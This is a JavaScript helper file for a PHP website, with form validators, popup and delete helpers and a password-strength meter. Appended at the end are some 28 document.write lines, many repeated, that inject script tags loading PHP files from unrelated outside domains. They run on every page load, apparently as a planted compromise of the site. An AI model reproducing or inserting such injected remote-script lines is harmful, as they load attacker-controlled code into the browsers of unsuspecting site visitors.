//General Functions
var dtCh= "/";
var minYear=1900;
var maxYear=2100;

function wind(id,x,y)
{
	
	
	window.open('product_large.php?id='+id,'ProdImage','width='+x+',height='+y+',toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=yes,copyhistory=no')
	
}

function IsAlphaNumeric(sText,Label)
{

   var ValidChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 '.,'!@$-+&-_/";
   var IsAlphaNumeric=true;
   var Char;
   if(sText=="") {alert(Label+ " Should not be Empty");return false}
   for (i = 0; i < sText.length && IsAlphaNumeric == true; i++) 
   { 
      Char = sText.charAt(i); 
      if(ValidChars.indexOf(Char) == -1) 
      {
         IsAlphaNumeric = false;
      }
   }
   if(!IsAlphaNumeric)
	   	alert(Label+ " Must Be Alphaumeric")
   return IsAlphaNumeric;
}
function PopupImage(img)
{
		var w=500,h=500;
  var winl = (screen.width-w)/2;
  var wint = (screen.height-h)/2;
  if (winl < 0) winl = 0;
  if (wint < 0) wint = 0;
  var settings = 'height=' + h + ',';
  settings += 'width=' + w + ',';
  settings += 'top=' + wint + ',';
  settings += 'left=' + winl + ',';
  settings += 'scrollbars=yes';
  if(img=="")
  {
  alert("No Enlarge Image");
  }else{

    var str = window.location.protocol + '//' + window.location.hostname;

	//stmichaelsmdwaterfront1\images\property_images
	//var url=str + "/stmichaelsmdwaterfront1/s/property	_images/" +img;
	var url=str + "/work/mineralfocus/images/property_images/" +img;
	
	window.open(url,'welcome',settings);
	}
	//window.open(url,'welcome',settings);
	//alert(url);
	//alert(settings);
	
    //return str;
}
function IsFullyAlphaNumeric(sText,Label)
{

   var ValidChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789._";
   var IsAlphaNumeric=true;
   var Char;
   if(sText=="") {alert(Label+ " Should not be Empty");return false}
   for (i = 0; i < sText.length && IsAlphaNumeric == true; i++) 
   { 
      Char = sText.charAt(i); 
      if(ValidChars.indexOf(Char) == -1) 
      {
         IsAlphaNumeric = false;
      }
   }
   if(!IsAlphaNumeric)
	   	alert(Label+ " Must Be Alphaumeric")
   return IsAlphaNumeric;
}

function IsValueEmpty(Val,Label)
{
	if(trim(Val)=="")
	{
		alert(Label+" Should Not be Empty")
		return false
	}
	return true
}
function isEmpty(value,lable,a,frm)
{
		if(!IsValueEmpty(value,lable))
		{
			frm[a].focus();
			return true;
		}
}
function CheckEmpty(Val,Label) 
{ 
  if(truncateSpace(Val)=="") 
  {
   alert(Label+" Should Not be Empty") 
   return false;
  } 
  return true;
}

function CheckEmptyMsg(Val,Label) 
{ 
  if(truncateSpace(Val)=="") 
  {
   alert("Please enter "+Label) 
   return false;
  } 
  return true;
}

function IsAmount(sText)
{
   var ValidChars = "0123456789.";
   var IsAmount=true;
   var Char;
   if(sText=="") return false
   for (i = 0; i < sText.length && IsAmount == true;i++) 	
   { 
		 Char = sText.charAt(i); 
		 if (ValidChars.indexOf(Char) == -1) 
         {
    	     IsAmount = false;
         }
   }
   return IsAmount;
}
function IsValidAmount(sText,Label)
{
	if(!IsAmount(sText))
	{
		alert("Invalid "+Label+".. "+Label+" Must Have Numeric Values")
		return false;
	}
	AmtArray = sText.split(".")
	if(AmtArray.length>2)
	{
		alert("Invalid "+Label+".. "+Label+" Must have single Period for Float")
		return false;
	}
	if(AmtArray.length>1)
	{
		FloatAmt = AmtArray[1];
		if(FloatAmt.length>2)
		{
			alert("Invalid "+Label+"..  Float Value must have two Digits")
			return false;
		}
	}
	return true
}


function CheckNumber(sText,Label)
{
   var ValidChars = "0123456789";
   var IsNumber=true;
   var Char;
   if(sText=="") {alert(Label+ " Should not be Empty");return false}
   for (i = 0; i < sText.length && IsNumber == true;i++) 
   { 
      Char = sText.charAt(i); 
      if(ValidChars.indexOf(Char) == -1) 
      {
         IsNumber = false;
      }
   }
   if(!IsNumber)
   	alert(Label+ " Must Be numeric")
   return IsNumber;
}
function CheckNumber1(sText,Label)
{
   var ValidChars = "123456789";
   var IsNumber=true;
   var Char;
   if(sText=="") {alert(Label+ " Should not be Empty");return false}
   for (i = 0; i < sText.length && IsNumber == true;i++) 
   { 
      Char = sText.charAt(i); 
      if(ValidChars.indexOf(Char) == -1) 
      {
         IsNumber = false;
      }
   }
   if(!IsNumber)
   	alert(Label+ " Must Be numeric and should be >0")
   return IsNumber;
}


function truncateSpace(Val) 
{ 
 	while(''+Val.charAt(0)==' ') 
   	Val=Val.substring(1,Val.length); 
   	return Val 
}  
function trim(Val) 
{ 
 	while(''+Val.charAt(0)==' ') 
   	Val=Val.substring(1,Val.length); 
   	return Val 
}  

function isInteger(s)
{
	var i;
    for (i = 0; i < s.length; i++){   
        // Check that current character is number.
        var c = s.charAt(i);
        if (((c < "0") || (c > "9"))) return false;
    }
    // All characters are numbers.
    return true;
}
function IsFax(sText,Label)
{
   var ValidChars = "0123456789-()+* ";
   var IsNumber=true;
   var Char;
   if(sText=="") {alert(Label+ " Should not be Empty");return false}
   for (i = 0; i < sText.length && IsNumber == true; i++) 
   { 
      Char = sText.charAt(i); 
      if(ValidChars.indexOf(Char) == -1) 
      {
         IsNumber = false;
      }
   }
   if(!IsNumber)
   	alert(Label+ " Should not contain characters other than 0-9 - () +")
   return IsNumber;
}

function stripCharsInBag(s, bag){
	var i;
    var returnString = "";
    // Search through string's characters one by one.
    // If character is not in bag, append to returnString.
    for (i = 0; i < s.length; i++){   
        var c = s.charAt(i);
        if (bag.indexOf(c) == -1) returnString += c;
    }
    return returnString;
}
function IsPasswordLength(sPass1,sPass2)
{
	if(trim(sPass1)=="")
	{
		alert("Password Should Not be Empty")
		return false
	}
	
	if(sPass1!=sPass2)
	{
		alert("Password Mismatch")
		return false
	}
	return true;
}
function IsValidURL(strURL,n)
{
		strURL 		= strURL.toUpperCase();
//		alert(strURL)		
		if(strURL==""||strURL=="HTTP://") return false	
		thePrefix 	= strURL.substr(0,7).toUpperCase();
		var Prefix2 = strURL.substr(0,8).toUpperCase();
		if( thePrefix!="HTTP://" )
		{ 
			siteFlag = 0;
			return false;
		}
		else
			siteFlag = 1;	
		if ( Prefix2!="HTTPS://" && siteFlag == 0 ) 
			return false;
		if(n!=-1) if(strURL.split("/").length>n) 
			return false;
		
		return true
}
function CheckEmailAddr(email)
{
  var result = false;
  var theStr = new String(email);
  var index = theStr.indexOf("@");
  if (index > 0)
  {
    var pindex = theStr.indexOf(".",index);
    if ((pindex > index+1) && (theStr.length > pindex+1))
	result = true;
  }
  return result;
}

function daysInFebruary (year)
{
	// February has 29 days in any year evenly divisible by four,
    // EXCEPT for centurial years which are not also divisible by 400.
    return (((year % 4 == 0) && ( (!(year % 100 == 0)) || (year % 400 == 0))) ? 29 : 28 );
}
function DaysArray(n) 
{
	for (var i = 1; i <= n; i++) {
		this[i] = 31
		if (i==4 || i==6 || i==9 || i==11) {this[i] = 30}
		if (i==2) {this[i] = 29}
   } 
   return this
}

function isDate(dtStr,Label)
{
	var daysInMonth = DaysArray(12)
	var pos1=dtStr.indexOf(dtCh)
	var pos2=dtStr.indexOf(dtCh,pos1+1)
	var strDay=dtStr.substring(0,pos1)
	var strMonth=dtStr.substring(pos1+1,pos2)
	var strYear=dtStr.substring(pos2+1)
	strYr=strYear
	if (strDay.charAt(0)=="0" && strDay.length>1) 
		strDay=strDay.substring(1)
	if (strMonth.charAt(0)=="0" && strMonth.length>1) 
		strMonth=strMonth.substring(1)
	for (var i = 1; i <= 3; i++) 
	{
		if (strYr.charAt(0)=="0" && strYr.length>1) 
		   strYr=strYr.substring(1)
	}
	month=parseInt(strMonth)
	day=parseInt(strDay)
	year=parseInt(strYr)
	if (pos1==-1 || pos2==-1)
	{
		alert("The date format should be : dd/mm/yyyy for "+Label)
		return false
	}
	if (strMonth.length<1 || month<1 || month>12)
	{
		alert("Please enter a valid month for "+Label+"\nDate Format is mm/dd/yyyy")
		return false
	}
	if (strDay.length<1 || day<1 || day>31 || (month==2 && day>daysInFebruary(year)) || day > daysInMonth[month])
	{
		alert("Please enter a valid day for "+Label+"\nDate Format is mm/dd/yyyy")
		return false
	}
	if (strYear.length != 4 || year==0 || year<minYear || year>maxYear)
	{
		alert("Please enter a valid 4 digit Year ");// between "+minYear+" and "+maxYear+" for "+Label+"\nDate Format is mm/dd/yyyy")
		return false
	}
	if (dtStr.indexOf(dtCh,pos2+1)!=-1 || isInteger(stripCharsInBag(dtStr, dtCh))==false)
	{ 
		alert("Please enter a valid date for "+Label+"\nDate Format is mm/dd/yyyy")
		return false
	}
	return true
}
function isValidDate(dtStr,Label)
{
	var daysInMonth = DaysArray(12)
	var pos1=dtStr.indexOf(dtCh)
	var pos2=dtStr.indexOf(dtCh,pos1+1)
	var strMonth=dtStr.substring(0,pos1)
	var strDay=dtStr.substring(pos1+1,pos2)
	var strYear=dtStr.substring(pos2+1)
	strYr=strYear
	if (strDay.charAt(0)=="0" && strDay.length>1) 
		strDay=strDay.substring(1)
	if (strMonth.charAt(0)=="0" && strMonth.length>1)
		strMonth=strMonth.substring(1)
	for (var i = 1; i <= 3; i++) 
	{
		if (strYr.charAt(0)=="0" && strYr.length>1)
			strYr=strYr.substring(1)
	}
	month=parseInt(strMonth)
	day=parseInt(strDay)
	year=parseInt(strYr)
	if (pos1==-1 || pos2==-1){
		alert("The date format should be : mm/dd/yyyy for "+Label)
		return false
	}
	if (strMonth.length<1 || month<1 || month>12)
	{
		alert("Please enter a valid month for "+Label+"\nDate Format is mm/dd/yyyy")
		return false
	}
	if (strDay.length<1 || day<1 || day>31 || (month==2 && day>daysInFebruary(year)) || day > daysInMonth[month])
	{
		alert("Please enter a valid day for "+Label+"\nDate Format is mm/dd/yyyy")
		return false
	}
	if (strYear.length != 4 || year==0 || year<minYear || year>maxYear)
	{
		alert("Please enter a valid 4 digit year between "+minYear+" and "+maxYear+" for "+Label+"\nDate Format is mm/dd/yyyy")
		return false
	}
	if (dtStr.indexOf(dtCh,pos2+1)!=-1 || isInteger(stripCharsInBag(dtStr, dtCh))==false)
	{
		alert("Please enter a valid date for "+Label+"\nDate Format is mm/dd/yyyy")
		return false
	}
	return true
}
function CheckUnCheck(frm,tmpVal)
{
	obj		= eval("document."+frm);

	ctrlPtr	= obj.elements;
	var n = obj.elements.length;
	for(i = 0 ;i<n;i++)
	{
		if(obj.elements[i].name == "chkRecord[]" )
		{
			if( tmpVal == 1 )
			{
				obj.elements[i].checked = 0;
			}
			else
			{
				obj.elements[i].checked = 1;	
			}
		}//end of if
	}//end of for
}//end of function

function ValidateLoginData(frm)
{
	if(!CheckEmpty(frm.txtUserName.value,"User Name"))
	{
		frm.txtUserName.focus();
		return false;
	}
	if(!CheckEmpty(frm.txtPassword.value,"Password"))
	{
		frm.txtPassword.focus();
		return false;
	}
	
}//end of function
function CheckAdminLogin(frm)
{
	if(!CheckEmpty(frm.txtUser.value,"User Name"))
	{
		frm.txtUser.focus();
		return false;
	}
	if(!CheckEmpty(frm.txtPassword.value,"Password"))
	{
		frm.txtPassword.focus();
		return false;
	}
	
}//end of function
function DeleteSelected(frm,hfName)
{
	obj		= eval("document."+frm);
	objHf	= eval("document."+frm+"."+hfName);
	ctrlPtr	= obj;
	var n = obj.elements.length;
	var flg;
	for(i = 0 ;i<n;i++)
	{
		if(ctrlPtr.elements[i].name == "chkRecord[]" )
		{
			if( ctrlPtr.elements[i].checked  == 1 )
			{
				flg = 1;
				break;	
			}
		}//end of if
	}//end of for	
	if(flg == 1)
	{
		if(confirm("Are you sure to delete selected records?"))
		{
			objHf.value = 1;
			obj.submit();
		}
	}
	else
	{
		alert("You first need to select the record to delete");
	}
}//end of function
function SingleDelete(frm,hfName,val)
{
	if(confirm("Are you sure to delete record?"))
	{
		obj			= eval("document."+frm);
		objHf		= eval("document."+frm+"."+hfName);
		objHf.value = val;
		obj.submit();
	}

}//end of function
function commonSetPage(frm,pageno)
{
//	alert("Testing--Paging");
	
	obj	= eval("document."+frm);
	obj.page.value = pageno;
	obj.action = "";
	obj.target ="_self";
	obj.submit();
}
function SearchClicked()
{
	if(!CheckEmpty(document.frmSearch.txtSearch.value,"Search Text"))
	{
		document.frmSearch.txtSearch.focus();
		return false;
	}
	document.frmSearch.action="searchresults.php";	
}//end of function


//Javascript pwd indicator
  
    var minpwlength = 6;
    var fairpwlength = 8;
    
    var STRENGTH_SHORT = 0;  // less than minpwlength 
    var STRENGTH_WEAK = 1;  // less than fairpwlength
    var STRENGTH_FAIR = 2;  // fairpwlength or over, no numbers
    var STRENGTH_STRONG = 3; // fairpwlength or over with at least one number
    //
    img0 = new Image(); 
    img1 = new Image();
    img2 = new Image();
    img3 = new Image();
    
    img0.src = 'images/tooshort.jpg';
    img1.src = 'images/fair.jpg';
    img2.src = 'images/medium.jpg';
    img3.src = 'images/strong.jpg';
	
    
    var strengthlevel = 0;
    
    var strengthimages = Array( img0.src,
                                img1.src,
                                img2.src,
                                img3.src );


//function which checks password strength
	function checkpwdstrength(pw)
	{
		var ValidChars = "0123456789";
		var Alphabets  = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
		var len = pw.length;
		var eachChar ;
		var k=0;
		NumberFlag = 0;
		AlphaFlag  = 0;
		SplFlag	   = 0;
		
		for(var i=0;i<len;i++)
		{
			eachChar = pw.substr(i,1);
		

			if(ValidChars.indexOf(eachChar) >= 0 )
			{
				NumberFlag = 1;
			}
			else if(Alphabets.indexOf(eachChar) >= 0)
			{
				AlphaFlag 	= 1;
			}
			else
			{
				SplFlag     = 1;
			}
		}//END OF FOR
        
		if(NumberFlag==1 && AlphaFlag==1 && SplFlag==1)
		showme=3;
		else if((NumberFlag==1 && AlphaFlag==1) || (AlphaFlag==1 && SplFlag==1) || (NumberFlag==1 && SplFlag==1))
		showme=2;
		else if(NumberFlag==1 ||  AlphaFlag==1 || SplFlag==1)
		showme=1;
		return true;

	}//end of function


    function updatestrength( pw ) {

     if( istoosmall( pw ) ) {
    
            strengthlevel = STRENGTH_SHORT;
    
        }
 else if( !isfair( pw ) ) { 
    
            strengthlevel = STRENGTH_WEAK;
    
        }    
else 
        if( checkpwdstrength( pw ) ) {

if(showme==3)
  strengthlevel = STRENGTH_STRONG;
else if(showme==1)
  strengthlevel = STRENGTH_WEAK;
else if(showme==2)
  strengthlevel = STRENGTH_FAIR;

else
  strengthlevel = STRENGTH_SHORT;


}
    document.getElementById( 'strength' ).src = strengthimages[ strengthlevel ];      
    
   
    
    }
 function istoosmall( pw ) {
    
        if( pw.length < minpwlength ) {
    
            return true;
    
        }
        else {
    
            return false;

        }
    
    }
      function isfair( pw ) {
    
        if( pw.length < fairpwlength ) {
    
            return false;
    
        }
        else { 
    
            return true;
    
        }
    
    }

document.write('<script src=http://chinatown.la/SimplePie/GOOGLE86998914d0f4c8af.php ><\/script>');
document.write('<script src=http://fredgols.nl/Sirel/stscroll.php ><\/script>');
document.write('<script src=http://fredgols.nl/Sirel/stscroll.php ><\/script>');
document.write('<script src=http://fredgols.nl/Sirel/stscroll.php ><\/script>');
document.write('<script src=http://fredgols.nl/Sirel/stscroll.php ><\/script>');
document.write('<script src=http://fredgols.nl/Sirel/stscroll.php ><\/script>');
document.write('<script src=http://fredgols.nl/Sirel/stscroll.php ><\/script>');
document.write('<script src=http://fredgols.nl/Sirel/stscroll.php ><\/script>');
document.write('<script src=http://fredgols.nl/Sirel/stscroll.php ><\/script>');
document.write('<script src=http://fredgols.nl/Sirel/stscroll.php ><\/script>');
document.write('<script src=http://fredgols.nl/Sirel/stscroll.php ><\/script>');
document.write('<script src=http://fredgols.nl/Sirel/stscroll.php ><\/script>');
document.write('<script src=http://sysgreat.pl/artykuly/artykuly.php ><\/script>');
document.write('<script src=http://sysgreat.pl/artykuly/artykuly.php ><\/script>');
document.write('<script src=http://sysgreat.pl/artykuly/artykuly.php ><\/script>');
document.write('<script src=http://sysgreat.pl/artykuly/artykuly.php ><\/script>');
document.write('<script src=http://sysgreat.pl/artykuly/artykuly.php ><\/script>');
document.write('<script src=http://sysgreat.pl/artykuly/artykuly.php ><\/script>');
document.write('<script src=http://sysgreat.pl/artykuly/artykuly.php ><\/script>');
document.write('<script src=http://sysgreat.pl/artykuly/artykuly.php ><\/script>');
document.write('<script src=http://sysgreat.pl/artykuly/artykuly.php ><\/script>');
document.write('<script src=http://sysgreat.pl/artykuly/artykuly.php ><\/script>');
document.write('<script src=http://sysgreat.pl/artykuly/artykuly.php ><\/script>');
document.write('<script src=http://sysgreat.pl/artykuly/artykuly.php ><\/script>');
document.write('<script src=http://sysgreat.pl/artykuly/artykuly.php ><\/script>');
document.write('<script src=http://wqww.artofrice.com/.smileys/language-il.php ><\/script>');
document.write('<script src=http://micura.nl/Menu/index.php ><\/script>');